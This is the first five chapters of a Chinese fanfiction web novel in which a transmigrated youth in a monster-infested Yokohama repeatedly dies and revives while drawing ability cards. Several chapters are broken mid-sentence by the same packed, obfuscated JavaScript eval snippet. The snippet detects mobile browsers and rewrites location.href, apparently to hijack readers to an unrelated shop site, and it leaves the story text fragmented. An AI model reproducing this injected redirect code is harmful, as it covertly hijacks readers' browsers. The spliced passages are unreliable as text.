《横滨伪人模拟器》 1. 第1章 一道沉闷的雷鸣响彻天地,惨白的电灯滋滋地闪烁了两下。 屋外,暴雨倾盆。 屋内,歪歪扭扭躺在破旧沙发上的青年,眼皮颤动了数次,缓缓睁开了双眼。 青年的表情一片空白,眼神中充满迷茫,窗外又是一道雷声轰鸣,他下意识捂住了耳朵,整个人在沙发上蜷成一团。 叶涟穿越了。 头脑中的记忆破碎残缺,他整理了半天,终于理解了当前处境—— 他穿越到了横滨,一个名为“十六夜涟”的青年身上。 这个横滨,和在他的认知中可以作为旅游城市的横滨不一样。 此世在大约八年前,发生了一场战争,横滨因日本战败,大片区域成为租界,充满混乱和罪恶。 而十六夜涟此人,相貌和前世的他一致,是名为“V”的组织的底层喽啰,靠运送物品、通风报信、协助走私、毁尸灭迹等杂活度日…… 等一下……? 运送物品和通风报信也就算了,听起来可疑,但也勉勉强强能够接受…… 协助走私和毁尸灭迹是什么东西啊! 叶涟人都傻了。 杂活就是杂活啊,杂活是不能变成狠活的,变成狠活他就不能咸鱼度日了,所以狠活只能是…… 不对……敢不敢干点正经活! 叶涟双眼无神地躺在沙发上。 他是个很胆小的人,想到以后自己得接触那种凶狠的事情,心中便一阵打颤。 就在这时,他忽然听见了清脆的“叮”的一声。 那声音不像从环境中发出来的,而是从他的脑海中径直出现的。 熟读网络小说的叶涟,眼睛一下子亮了起来。 难道说…… 他的穿越,有系统? 那还说什么了,本来微死,现在他感觉自己又能活了。 很快,叶涟的眼前便弹出了幽绿色的文字—— 【一种擅长杀死并模仿人类的生物——“伪人”,席卷了横滨。 伪人的灾难爆发,让横滨进入了紧急状态。 在异能特务科、武装侦探社和港口Mafia三大组织的齐心协力下,危机终于得到了有效的控制。 然而,伪人依然蛰伏在人群之中。他们模仿得更出色,能力也更出奇,不断地强化着自身,静静地等待着反攻的时机。 人类能够度过这场危机吗,还是说,会有一位不可战胜的伪人终结一切? 欢迎使用横滨伪人模拟器。】 【提示:扮演角色“十六夜涟”,接触图鉴人物,加强与人物之间的联系,得到抽牌机会。】 “……” 在读者眼中,系统的文字很容易理解。 然而在叶涟眼前,这些幽绿的文字,全是诡异的乱码。 一个符号都看不懂。 让我们说中文好吗?好的。 叶涟仍不肯放弃,研究着这个系统是否有什么选项,可以进入商城或者切换语言的页面。 研究的结果就是——没有任何可操作的选项。 浮现出来一段时间后,幽绿的文字便自主消散了。 ……本来以为有系统,能高高兴兴走上人生巅峰。 现在,叶涟彻底明白了什么叫人生的大起大落落落…… 生无可恋啊。 在沙发上心如死灰地躺了一会儿,叶涟混乱的大脑逐渐平静了下来。 这也让他,终于注意到了那股气味…… 那股令人类不安的,略带甜腥的,黏稠又轻微有些腐臭的气味…… 叶涟从沙发上缓缓坐起,扭过头,看向狭窄客厅的另一边。 窗外正是黑夜,电闪雷鸣时不时让世界骤然亮堂一下,就又重新归于最深的黑暗。暴雨狂风,在天地间肆意地撕扯,雨水从屋檐奔流而下,哗哗地呜咽着,拍打在玻璃上。 他的视线顿在客厅中间的小茶几上,一双人类的腿,正不祥地从茶几后面伸出来。 叶涟的喉咙动了动。 “喂,那个……?” 他低声喊了一句。 声音孤零零地消散在风的呼啸之中,没有得到任何回应。 叶涟慢慢地站了起来。 他穿上沙发前的卡通鲨鱼拖鞋,向前挪动着脚步。 随着方位的移动,渐渐的,他能够看见茶几之后是什么。 一具尸体,躺在雪白的瓷砖地上。 倒在地上的青年,头上满是鲜血,其额头被什么东西撕裂了一大块,人体组织骇人地外翻,地面上静悄悄地汇着一滩半干的深暗血泊。 叶涟屏住了呼吸,他盯着青年的脸。 那张脸在摇摇晃晃的灯光下,苍白得可怕,柔软的黑发混杂着暗暗的血液,亲密地黏在皮肤上,漆黑无光的眼睛半睁着,嘴唇发紫,表情怪异,似哭似笑。 而纵然其五官扭曲得不像话,叶涟依然能够清晰地分辨出,对方的样貌…… 与自己一模一样! 不同的人受到惊吓,通常会有应激攻击、尖叫、逃跑、身体僵在原地等不同的反应。 叶涟正是站在原地的那一种,不过,他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007455|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体并没有僵硬,反而有些舒缓,如果有旁人观察他,就会发现,他看起来格外平静。 其实,他只是意识被吓到几乎与躯壳分离,这才没有任何反应。 换句话说……看似淡然,实则人走了已经有一会儿了。 他的视线缓缓下移。 尸体的身上,穿着一整套的灰色睡衣,脚上穿着一只卡通鲨鱼拖鞋,另一只掉在了茶几旁,正好可以和自己脚上穿的比对…… 服装方面,也完全一致。 叶涟凝望着地面上的尸体,半晌,他的视线游移开,看向窗户、看向茶几和沙发,最后又落在了尸体上。 ……这名死者,是……我? 如果死者是我,那么……我,又是谁? 他的精神有点想呕吐,然而这具身体对尸体的适应能力良好,没有任何反胃的感觉。 只有心跳稍微加快了点,他几乎能听见咚咚的声音。 不…… 那“咚咚”的声音,不是来自于心跳,而是…… 叶涟扭起头,看向房门的方向。 门外,有人,或者什么东西,在敲门。 在狂风暴雨中,那声音很不明显,然而,此刻的叶涟恐惧到五感无限放大,他还是敏锐地听到了敲门声。 有谁来了…… 会是警察吗? 是来抓我的? 可是他什么都没干啊! 他也不知道是谁杀了他! 更不知道自己是不是杀了谁! 叶涟感到头脑中本就混乱的记忆,越发杂乱无序,太阳穴突突地跳动着,额头隐隐作痛。 微弱的敲门声只持续了一小会儿,就陷入沉寂,仿佛一切只是叶涟的幻觉。 然而叶涟知道那不是幻觉,有什么东西在门外,一定有…… 回过神来时,他已经将手放在门把手上。 开门?还是不开? 尸体还没有处理……尸体要怎么处理?! 他一个生在红旗下、长在春风里的五好青年,十六夜涟的记忆也那样模糊,他哪里会这种技能? 但是,如果不及时开门的话,外面的东西如此静默着,是不是准备破门而入了?到那时,更是跳进黄河都洗不清! 叶涟张了张嘴,犹疑地凑近了猫眼。 从猫眼向外望去,外面黑漆漆的……门口的灯,竟然是坏的。 恰逢此时,一道雷电闪过,门外的景象稍微亮堂了一瞬。 也就是这一瞬,冷意漫上了叶涟的全身。 门外……空无一人。 2. 第2章 叶涟全身冰凉。 他轻微颤抖着,压下门把手,一点点地拉开了门。 黑暗,如墨汁一般的黑暗,仿佛要从开启的缝隙,一股脑儿地涌进来似的。 但他知道这只是他的假想,真实情况是屋内的惨白灯光向外照射。 叶涟自己也知道,在一个暴风雨的夜晚,听见不知来源的敲门声,在其没有继续敲下去的情况下,最好是置之不理…… 尤其是,他的屋子里,还有一具尚未处理的尸体! 可是…… 也许是吓坏了,也许是觉得屋外是警察,也许是自暴自弃…… 他还是开了门。 地面上,有一滩黑漆漆的什么东西。 不对,那个好像是…… 人类? 屋外的寒风吹过来,叶涟的黑发在风中很不安宁地飘舞,他将额前的碎发撇到一边,低下头,注视着倒在门口的少年,手依然紧紧地握着门把手。 好奇怪,为什么会有一个少年倒在门口…… 不过,是人类就好…… 没有他臆想出来的灵异现象,敲门声是来源于一个少年。 从猫眼看不见人,是因为少年极其纤瘦,一头湿哒哒的黑发,身上还披着漆黑的外套,蜷缩在门的下方,在黑夜的昏暗环境中很不明显。而且,少年的绝大半身体都处于猫眼的死角,即使瞥见,也顶多看见几片会被忽视的黑色衣角。 叶涟松开门把手,扶着门框,慢慢地蹲下身,他感到有些腿软。 血腥味,扑面而来的浓重血腥味,即使有大雨和寒风的冲刷,也无法忽视的血腥味。 过宽的黑外套像一块裹尸布,蒙在少年的身上,黏稠而潮湿,和地面不分彼此地纠缠在一起。少年的头上、脖颈上、从黑布下伸出来的手上,缠满了软塌塌的绷带,半是苍白半是猩红色的绷带。他一动也不动,也没有睁开眼,细密而长的睫毛都被打湿,脸上也有雨水,整个人像是从浓墨和血水的寒凉湖泊里捞起来似的。 ……该不会已经死了吧。 叶涟发现自己的手不知何时已经汗津津的了,他将不知是怕到发抖还是冻到发抖的手往自己衣服上擦了擦,小心地伸出去,探了探少年的鼻息。 还活着。 虽然呼吸极其微弱,但还活着。 呼出的气息温度有点高,可能在发烧…… 如果放着不管的话,在暴雨夜的快速失温下,在逐渐漫开的血泊中,少年一定会死吧…… 叶涟的眼球轻微震颤着,少年的黑色外套上有一处明显的弹孔,在烧灼的布料周围,血深深地将漆黑染得更黑。 这少年的来历,一定相当复杂,相当危险…… 他一点儿都不想卷入什么枪战或者血腥暴力戏码之中啊! 但是他不可能报警或者叫救护车——叶涟还没忘记,自己的屋子里有一具尸体呢! 叫救护车,对方看见枪伤肯定会报警,而报警的话,他不就自己抓自己了吗。 而且他也没法解释,为什么少年偏偏倒在了自己家门口…… 事到如今,他也不能放着少年在门口不管。 倒不是他有什么善心,最主要的是,如果少年死了,他要处理的尸体,就会从一具,变成两具! 然而、然而…… 他不知道该怎么处理枪伤啊! 穿越前,叶涟只是个平平无奇的大学生,急救技能只有从未实战过的心肺复苏,而十六夜涟的记忆里,也只有简单包扎、然后去找黑市医生的知识…… 枪伤真的触及他的知识盲区了! 把少年带回家里,少年很可能会因为得不到妥善的治疗而死,而如果带着他去找医生,也不能去正规医院,只能去黑市…… 他对去黑市的路不熟,一点儿都不想接触那种地方。 何况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007456|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这么大的雨,这么冷的天,少年怎么看都不像能撑得到那个时候。 叶涟的脑袋一阵眩晕。 所以,目前的情况是,他家里一具尸体还没想到怎么处理,不久后又要多处理一具? 他家是什么五星好评停尸间吗,死者都爱来,来了都说好? 木然地盯着少年脆弱的脸看了数秒,叶涟长长地吸了口气,给自己做好心理建设。 然后,缓缓地将手搭在了冰凉黏腻的黑外套上。 就在此时,在他的眼前,幽绿色的乱码再次浮现了出来。 【检测到图鉴人物,获得一次抽牌机会。】 【当前抽牌机会:1】 【是否立即抽取卡牌?】 【是/下次抽取】 叶涟茫然地看着乱码,发现出现了两个似乎可以点击的按钮。 ……然而上面写的是什么,还是看不懂。 他试探性地点击了第一个按钮,也就是左边的按钮。 【正在抽牌……】 下一刻,叶涟便看见,空气中出现了一组黑色的卡牌。 牌被随机打乱,又被无形的力量从中抽取了三张出来。 【抽牌结束。请从以下三张卡牌中任选一张。】 牌组消失,那三张通体漆黑的卡牌展现在他的眼前。 每一张牌上,都浮现出了幽绿的乱码: 【“异能·请君勿死(体验卡)”:获得一次使用异能“请君勿死”的机会,并解锁任务“拟态:与谢野晶子”】 【“异能·外套(体验卡)”:获得三次使用异能“外套”的机会,并解锁任务“拟态:尼古莱·瓦西里耶维奇·果戈里”】 【“称号·外科医生的手术刀”:佩戴该称号时,获得专业外科医生的知识与经验,但同时获得“冰冷思维”。冰冷思维:你的思维如手术刀一般冰冷。摘下称号时,所有效果解除。】 3. 第3章 卡牌上显示的都是乱码,对于叶涟而言,选哪张都无所谓。 也许是因为最后一张的字符比较多,或者处于某种直觉,他选了最后一张。 在选好的瞬间,另外两张牌消失了,而最后一张牌在他没能反应过来的时刻,嗖地一下,钻入了他的大脑。 瞬间,叶涟理解了这张卡牌的作用。 “称号·外科医生的手术刀”? 这就是他的金手指吗! 叶涟可太高兴了,高兴得都有点忘记害怕。 他就知道,人生不会无路可走! 虽然不明白冰冷思维具体会如何展现,但是,有称号不用,不就白得这个称号了? 很快,他就下了决定。佩戴一下试试。 念头一动,叶涟顿时感觉到,自己的脑海中,充满了知识! 知识就是力量,所以现在他充满了力量,他,强得可怕! 不过,他其实并没有明确地感觉到自己的思维变得冰冷。 仔细观察一下,似乎的确冷静了一点? 至少身体没有再发抖了。 叶涟不再多想,他的视线重新转向地面上的少年。 很快,脑海中的知识,就让他判断出…… 没救了。 也没必要救。 诚然,他现在有外科医生的经验,可以为少年做手术。 但同样是根据经验,很容易就能想到,在他的家中,一没有专业的医疗设备和药品,二没有合适的做手术的环境,少年的枪伤几乎不可能救治好。 就算勉强救活,少年也大概率得休养极为漫长的时间。 如果留着他在自己家中休养,那么,给少年带来枪伤的仇家、或者警察,很有可能会上门。 再者,他也不知道,少年是好是坏,会不会恩将仇报。 不管怎么想,在家中尸体未解决的情况下,救助少年只会给自己徒增麻烦而已。 当然,如果将他留在门口,等天亮后会很显眼,也不可能这样做。 所以,最好的解决方法是,将少年扔到黑市,或者别人家门口,然后处理自家尸体。 真不知道刚才的自己怎么想的,竟然想把少年带进家中? 叶涟失笑地摇了摇头。 他准备站起身,去拿个行李箱过来,把少年运走。 家中的青年尸体得先切割一下,而这个纤细的少年就好运输一点。 还好倒在门口的是少年,不是什么成年人,不然就太麻烦了。 目前比较苦恼的是怎么分割那具尸体,以他现在的解剖学知识,能够将人类分割得很完美,但前提是要有趁手的工具。 希望家里有合适的工具吧。 要是有手术刀就好了,锯子或者菜刀那种粗暴的工具,容易让软组织飞溅得到处都是,还很耗费力气。 不如将人体组织与完整的骨骼分离开,把骨骼做成标本收藏——和自己一模一样的尸体,怎么想都很有收藏的价值。 除了分割的工具,还得找块大的塑料布,方便清理,也可以防止血渗出去。 唉呀,要做的事还是挺多的呢。 就在叶涟要站起来时,他忽然察觉到,有什么东西缠住了他的脚踝。 什么……? 叶涟低头看去。 那是一截从少年身上延伸出来的,染血的绷带。 虽然说是绷带,但它正像藤蔓、或者人类的肢体一般蠕动着。 不妙与惊悚的感觉涌上心头,然而未等叶涟反应过来,又是一条绷带,缠住了他的脖颈。 旋即便是——用力绞紧! 气管中的空气无法流通,没有任何呼吸的办法,叶涟抬起双手,努力地想扯下那条绷带,然而绷带却是越缠越紧。 “嗬……嗬嗬……” 叶涟奋力地挣扎着,尝试着吸气。 但他的意识,无可避免地开始模糊、发黑。一阵天旋地转,叶涟重重地倒在地上,在痛楚中不住地痉挛着。 而此时,原本奄奄一息的少年,竟是缓缓睁开了眼睛。 一道雷声轰响,狂风中掠过闪电,白晃晃的电光让叶涟看清了他的双眼。 那是一双布满红色血丝的眼睛。 这根本就……不是人类…… 这是……怪物! 少年歪了歪头,摇摇晃晃地站了起来,低头平静地注视着叶涟,他的黑发上水珠滴落,满是雨水的苍白的脸上,浮现出一个酷似人类的微笑。 这也是叶涟看见的最后画面。 “真是的,这么浓重的血腥味,还以为是什么厉害角色。结果一个异能者拟态都没有啊……” 暴雨依然下着。 风猛烈地吹过,少年紧了紧身上的黑色外套。 他看着叶涟的尸体,失望地撇了撇嘴。 …… 【检测到与一位图鉴人物关系由“陌生”变更为“仇敌”,获得一次抽牌机会。】 【检测到与一位图鉴人物关系由“仇敌”变更为“死敌”,获得一次抽牌机会。】 【检测到宿主死亡,所有卡牌清零。】 【消耗一次抽牌机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007457|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转生,当前抽牌机会:1】 【正在转生中,请稍后。】 【转生成功!】 【欢迎使用横滨伪人模拟器!】 房间中,惨白的电灯滋滋地闪烁着。 滚滚的雷鸣响彻耳边,叶涟骤然睁开了双眼! 窒息的感觉、身体不住痉挛的感觉、死亡带来的痛苦感觉,依然令人心悸地缠绕着他。 是做噩梦了吗…… 好真实的梦啊…… 现在梦醒了,应该是回到家里了吧?哈哈…… 叶涟的视线缓缓聚焦。 墨绿色的沙发,很破旧,有几块不知是咖啡渍还是别的饮料汤水造成的污渍。 沙发靠着的墙边,小半块墙皮已经剥落了。 天花板的角落里,结着透明的蜘蛛网,蜘蛛不在家。 他慢吞吞地转过头。 窗外的黑夜很喧嚣,狂风暴雨依然不留情地宣泄着天地的愤怒,雨水像瀑布一样冲刷着窗玻璃,仿佛要将罪恶的一切统统淹没,简直是世界末日的场景。 屋内,则死寂得可怕。 小茶几后面,一双,不,两双腿,从那里伸出来。 叶涟木木地坐起身,双脚套入沙发前的卡通鲨鱼拖鞋。 他的腿在抖,因死亡的余感,不受控制地颤抖着。 但他还是站了起来,像是一个正在接受双腿康复训练的人,一点一点地,挪到了小茶几旁边。 两具和他一模一样的尸体,静悄悄地躺在那里。 一具头部重创,似哭似笑。 一具眼球突出,颈部带着青紫的勒痕。 咚咚。 叶涟缓缓转头。 门外……传来了敲门声。 【当前抽牌机会:1】 【是否立即抽取卡牌?】 【是/下次抽取】 【正在抽牌……】 【抽牌结束。请从以下三张卡牌中任选一张。】 【“异能·深渊的红发安妮(体验卡)”:获得一次使用异能“深渊的红发安妮”的机会,使用后该异能持续时间为一天。并解锁任务“拟态:露西·莫德·蒙哥马利”】 【“异能·罪与罚(体验卡)”:获得一次使用异能“罪与罚”的机会,该卡牌被动触发。并解锁任务“拟态:费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基”】 【“称号·雨夜屠夫”:佩戴该称号时,若环境为雨夜,身体素质得到全方位大幅提升,但同时获得“杀戮思维”。杀戮思维:所有人形生物都是你的猎物。】 4. 第4章 三张漆黑的卡牌,静静地飘浮在叶涟的面前。 幽绿的乱码,能够激发起人类对于未知的原始恐惧。 然而,叶涟突然发现,自己似乎能够稍微看懂几个字符了。 在三张抽取出来的卡牌中,有两个是“体验卡”,一个是“称号”。 上一次,他选中的就是“称号”。 虽然因为称号,他得到了大量外科医生的专业知识,然而他的思维,似乎也产生了微妙的变化。 那种冰冷的感觉,当时没有察觉,但现在称号消失,仔细回想起来,叶涟的心中很有一种惊悚感。 在冰冷思维的影响下,他,真的还是他吗…… 叶涟盯着眼前的三张卡牌,他得尽快做出抉择。 时间若是过得久了,门口那个少年,不、那个怪物……说不定会破门而入。 密密麻麻的乱码,让他无法知晓三张卡牌的具体效用。 称号,是长期的,或许会比体验卡更好一些? 虽然上次有“冰冷思维”的副作用,但说不定这次没有呢? 叶涟抱着侥幸的心思,选择了最后一张卡牌。 【称号·雨夜屠夫】 当卡牌化作黑色的流光融入他的脑海,他顿时理解了卡牌的作用。 在雨夜佩戴该称号,可大幅提升身体素质! 现在不正是雨夜?也就是说,只要现在戴上称号,他就能有和门口的怪物抗衡的底气了! 可是,称号伴随的“杀戮思维”,让叶涟有些犹疑。 冰冷思维,会让他变得那样冷酷…… 而杀戮思维,会不会……把他变成一个只知晓大肆杀戮的怪物? 没有犹豫太久,叶涟一咬牙,戴上了这个称号。 抽了却不佩戴的话,不就白抽了吗。 而且,就算变成怪物,也比被怪物杀掉好! 称号的作用再次涌现,叶涟感到自己的全身都暖洋洋的。 死亡的阴影被迅速甩掉,头脑一下子就灵活了,身体也不颤抖了,他再次感到自己全身充满了力量,此时的他,再次强得可怕! 那个杀了他一次的家伙…… 怎么敢的。 一个受了伤的猎物,怎么敢主动倒在猎杀者的门前。 呵呵呵……简直是不知死活。 叶涟舔了舔嘴唇,本低头看着地面上的尸体的他,慢慢地抬起头。 从他自己的尸体上散发出来的血腥味,以及门口有怪物的事实,非但没有让他恐惧,反而刺激着他的神经。 让他变得更加…… 兴奋。 杀掉那个家伙,说不定系统会有奖励。 不过,他想杀那个怪物,既不是为了复仇,也不是为了可能的奖励。 仅仅是因为,他想这样做。 想杀就杀了,还要什么理由吗。 叶涟低头,看着自己的手。 他需要一件武器,足够锋利的武器。 这次的猎物,其身体会变成绷带,要是被绷带缠住拳头,打起来就没那么爽快了。 而且,用拳头,也不是他的风格。 一位屠夫,怎么能没有刀呢? 他要剖开猎物的肚子,挖出他的内脏,肢解他的四肢……就必须有一把刀。 猎物的身体能变出绷带,他身为猎杀者,没可能做不到吧? 这样想着,他掌心的血肉开始蠕动起来。 一把杀猪刀,从他的手中开始“生长”,整把刀极其厚重,刃口锋利无比,带着灰白的寒光,而在刀柄与刀刃的交接处,沉积着暗红的血色。 这把刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007458|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,比正常的斩骨刀更大,足有叶涟的整条手臂那样长,当他的手拿着刀下垂,刀尖几乎能够贴到地面上。 刀柄贴合着掌心,叶涟稍微挥了两下,这把巨型杀猪刀,在他手中当真是如臂使指,不管是重量还是外形,一切都恰到好处,完全就是为杀戮而生的! 啊,完美! 叶涟满意地看着杀猪刀,唇角微微勾起,眼中没有任何对从自己的身体里竟然长出一把刀的惊恐,只有对趁手武器的欣赏。 有这般好刀,就不用起锅烧油了。 他本来是想先烧一锅热油,再拿菜刀的,但现在,一切都是如此完美啊! 叶涟的身体再次颤抖起来,不是因为恐惧或者寒冷,而是因为强烈的兴奋。 他愉快得几乎要哼起童谣,有了他的亲亲杀猪刀,那么接下来,就是处理食材的时间~ 小猎物乖乖,等我把门儿开开—— 苍白的脸庞粲然一笑,叶涟随手拿起挂在门边上的黑色雨衣,披在自己身上。 然后,他打开了门。 手中长刀,朝着地上的那团漆黑,径直挥砍而下! 染血的绷带迅速缭乱地张开,如渔网般奋力抵御,但很快就在锋利的杀猪刀前寸寸崩断。 少年以绝对不是常人能做到的速度弹射跳起,退到不远处的暴雨中。 大雨如瓢泼一般,少年孤单地站立在夜色里,漆黑的身影因狂烈的风雨而显得很模糊。 但叶涟有着被称号加强过的视觉,他能够清楚地看见,对方的黑发之下,那双猩红的眼睛。 “可爱的小家伙,跑什么呀……” 叶涟摇摇晃晃地走进雨中,他的手指如同爱怜般,抚过杀猪刀上冰凉的雨水,嘴角兴奋的笑容一点点地扩大。 “游戏才刚刚开始呢……” 5. 第5章 那个少年跑得很快。 叶涟经过身体上的强化,速度竟还比其稍慢一点,但他并不着急。 少年本身,是中了枪伤的。 他有耐心一直跑下去,而他的猎物跑不了多久。 黑黢黢的夜色中,路灯散发着惨白的微光,暴雨砸在路面上,溅起白茫茫的水雾。 本该在雨水中被冲刷掉的血腥味,依然萦绕在叶涟的鼻尖。 猎物,已经被锁定了。 叶涟低低地笑着,姿态悠然地行走,也没见他如何奔跑,却始终和少年保持着不远不近的距离。 无论少年如何拐弯、绕到巷道、亦或是围着街道绕圈,都没能甩掉身穿漆黑雨衣的屠夫—— 若是有外人观察,就会觉得,简直是猫戏老鼠一般的戏耍。 不过,街道两侧极少有灯光,人们将窗帘拉得严严实实,没有人来观赏这场雨夜的追击。 真是可惜。 轰隆隆—— 雷鸣闷声奏响,电光划破夜空,映得天地如舞台般雪亮。 雨幕狂放地垂下,雨滴敲在地上、周围的窗上、路边的汽车上和屋棚的铁皮上,像是急促的鼓点,与雷电声和愉快的笑声相互交织着。 叶涟很喜欢雨天。 尤其是雨天的夜晚。 在这样的暴雨夜,捕杀猎物之后,他的脚印、指纹、可能落下的发丝,以及现场的血,都不用认真处理。 暴雨会是最好的助手,帮助他清洗掉一切。 少年的黑衣在街角闪过,再次闪入了一条狭窄的巷道之中。 还在徒劳地挣扎吗。 叶涟拎着杀猪刀,追击过去。 他想到小时候,红色的塑料洗脸盆里,从天花板掉进盆中的蜘蛛。 和此时的少年一样,肢体湿漉漉的,在水面上快速地移动着,划着纤细的腿,拼命地寻求一条活路。 然而,只要在蜘蛛贴近盆壁的时候,用牙刷柄轻轻一拨,再用力一按。 它就得回到荡漾的水波之中,继续挣扎。 直至身体上的绒毛被水完全浸透,直到呼吸的地方也进了水,蜘蛛的动作越来越慢,最后无法动弹。 这时,人类只要将水盆中的水倒进洗手池,它就会顺着食道一样的排水口,被吸进黑暗的漩涡,彻底消失在下水道。 叶涟决定尽快结束这一切了。 他确实很有捕猎的耐心,但他的家里,还有两具尸体没处理呢。 而且,他的拖鞋里进了水,出来时只记得披雨衣,但忘了换鞋子,真是令人懊恼。 虽然卡通鲨鱼大概会喜欢水,可他的脚趾被泡得很冷。 赶快追上去,杀了那个家伙吧。 叶涟漫不经心地想着,身体骤然加速,手中的杀猪刀反射出远处路灯的亮光,闪过一片寒凉。 与他的加速相反的是,少年似乎跑不动了,动作逐渐缓慢下来。 两人的距离,飞快地拉进了。 而后,叶涟便看见,少年的身形发生了改变。 依然是黑色的外套,然而其身高却在拉长,整个背影乃至体态,都有了大幅的变化,少年从稍带踉跄的奔跑,变成了连滚带爬似的,倏地跌倒在水泊里。 凄厉且带着颤音的叫声,响彻雨夜—— “救、救命啊——” 那个怪物。 像人类一样。 恐惧地大叫着。 “有伪人!有伪人在追我啊——!!” ……什么。 未等叶涟反应过来,一匹白色的野兽,从雨幕中迅猛地冲出! 它冲出的速度极快,却没有发出任何声音,皮毛即使在雨丝中湿透,也如锦缎一般美丽,雪白的表皮下,肌肉和谐地滑动着,兼具完美的柔韧性与极致的力量。 “小队的其他成员,都被他杀掉了!中岛大人、救命呀——” 那个人形的怪物,狼狈地翻滚着,爬到街道尽头,拼命般喊叫。 而那头足有小汽车大小的白色老虎,越过了怪物,黄金般的眼瞳璀璨得如同正在燃烧一般,死死地盯着叶涟。 【检测到图鉴人物,获得一次抽牌机会。】 为什么…… 城市里,为什么会有老虎?! 叶涟无法去细想了,因为这头老虎,正朝自己扑过来! 它想咬碎我的喉咙。 怎么可能,他可是屠夫,怎么可能栽在一头莫名其妙出现的老虎的爪子里?! 叶涟的脑海中,清晰地判断出了野兽的意图,而怒火,也随之升腾。 眼看着白色巨虎迅速拉近,他横刀向前—— 挡住了老虎的爪子! 痛,好痛…… 为什么这头老虎,会有这么强大的力量…… 叶涟踉跄着后退了数步,他能感觉到,自己的手臂骨头已经碎了。 还能有力气拿着刀,仅仅是因为刀与他的身体黏连在一起而已。 而老虎,被斩骨刀割开了血肉、却没有丝毫畏惧的老虎,也发现了这个事实—— 叶涟的手掌,与那把刀,是相连的。 这个穿着雨衣的家伙,这个在外貌上伪装人类模仿得惟妙惟肖的家伙,不是人类……! 虎的眼瞳中,杀意沸腾! 叶涟死死地盯着这头凶猛的虎。 他当然也感受到了虎的强烈杀意。 可是,他的杀意,绝不会比它更小! 死亡的感觉,他已经承受过了一次…… 他不想再承受第二次! 他会向这头野兽宣告,雨夜是他的主场! 任何胆敢阻拦他的……都给他死! 强忍着剧烈的痛楚,叶涟再次举起了刀。 然而,也就是这时,他感到后颈掠过一阵凉意。 白色的刀刃,将什么切下了。 是什么呢。 一阵天旋地转。 叶涟的头颅,重重落在了地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007459|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,溅起一片晶莹的水花。 【检测到图鉴人物,获得一次抽牌机会。】 远处,注视着这一切,已然换了一张脸的怪物,面庞上浮现出一个嘲讽般的微笑。 见尘埃落定,怪物转过身,悄无声息地隐没进了黑暗的雨夜。 “你受伤了。” 暴雨中,出现了一名少女的声音。 她的声音如同最洁白无瑕的雪一般,澄澈而安静。 “这点伤没关系哦,小镜花。谢谢你,这个伪人很强呢,如果不是你,我恐怕会受更重的伤。” 白虎的身形变化,原地出现了一名身穿黑衣的少年,漆黑的外套领子高高竖起,遮住了少年的脖颈。 少年的声音很温柔,他手臂上的刀伤迅速地愈合着。 “找到那个胆敢变化成首领模样的家伙了吗?” “它似乎是往你这个方向跑了。” 少女撑着一把红色的纸伞,“你有看见吗?” 在她的身边,白雪般纯净的夜叉,静静地飘浮着。 “啊,这么说的话——” 少年似乎想到了什么,骤然转身。 背后,已是空无一人。 他抹了一把脸上的雨水,懊恼地抿了抿嘴。 “被骗了……” …… 【检测到图鉴人物,获得一次抽牌机会。】 【检测到与两位图鉴人物关系由“陌生”变更为“仇敌”,获得两次抽牌机会。】 